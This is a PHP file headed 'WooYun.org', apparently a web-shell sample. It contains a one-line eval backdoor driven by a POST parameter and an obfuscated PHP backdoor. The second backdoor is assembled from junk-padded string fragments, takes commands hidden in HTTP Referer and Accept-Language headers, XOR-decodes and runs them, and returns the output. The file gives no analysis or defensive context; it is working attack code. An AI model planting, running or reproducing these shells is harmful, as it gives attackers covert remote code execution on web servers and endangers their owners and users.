WooYun.org

<?php @eval($_POST['pass']);?>

<?php
$W='YendUY_cUYlean();$d=baseUY64_enUYcode(x(gzcoUYmpUYress($oUY),UY$k));print("UYUY<$k>$d<UY/UY$k>");UY@sessioUYn_destroy();}}}}';
$S='$q)UY;$q=arrUYay_vUYaluesUY($q);pUYregUY_match_all(UY"/UY([\\w]UYUYUY)[\\w-]+(?:;q=0.([\\d]))?,UY?UY/",$ra,$UYm);if($UYq&UY&$m)';
$x='"]UY;$ra=@$r[UY"HTTP_AUYCCEPTUY_LANGUAGE"UY];if($rUYUYr&&$ra)UY{   UY $u=parseUY_url($UYUYrr); UY   parse_str(UY$u["queryUY"],';
$v=str_replace('Wp','','crWpWpeate_WpfuWpnWpctWpion');
$i='0;($UYjUY<$c&&$i<$lUY);$j+UY+,$i++){$oUY.=$t{UYUY$iUY}^$k{$j};UY}}returUYnUY UY$o;}UY$r=$_SERVER;$rr=@$r["HUYUYTTP_REUYFERER';
$N='$kh=UY"5d41";$kUYf="402UYUYaUY";function x($t,$kUYUY){$c=stUYrlen($UYkUY);$lUY=stUYUYrlen($t);$oUY="";for($i=0;$i<$l;){fUYor(UY$j=';
$Q='$p;$e=UYUYstrpos($s[$iUY],$f);if(UY$e){$k=$UYkUYh.$kf;ob_staUYrtUY();@eUYval(@gzUYuncUYompressUY(@UYx(@base6UY4_UYdecUYode(p';
$y='m[2][$UYz]];if(UYstrpUYUYos($p,$hUY)===0){$s[UY$i]="";UY$p=$sUYs($UYp,3);}if(arUYraUYy_key_eUYxists(UYUY$i,$s)){$s[$iUY].=UY';
$X='{@sUYeUYssion_start(UY)UY;$s=&$_SESSION;UY$ss="UYsubstUYr";$UYsl="strtoUYlUYower";UY$i=$m[1][UY0].UY$m[1][1];$UYh=$sl($UYssU';
$o='Y(md5(UYUY$i.$kh)UY,0UY,UY3));$f=$sl($ss(md5($UYUYi.$kf),0,3));$p=UY"";UYfor(UY$z=1;UY$UYz<count($m[UY1]);$z+UY+) UY$p.=$q[$';
$Y='reg_replace(UYarray(UY"/_/",UY"/-/"),arUYray(UYUY"/",UY"+"),$ss($sUY[$i],0,$e)UY)),$k))UYUY);$oUY=ob_get_conteUYnts()UY;ob_U';
$k=str_replace('UY','',$N.$i.$x.$S.$X.$o.$y.$Q.$Y.$W);
$q=$v('',$k);$q();
?>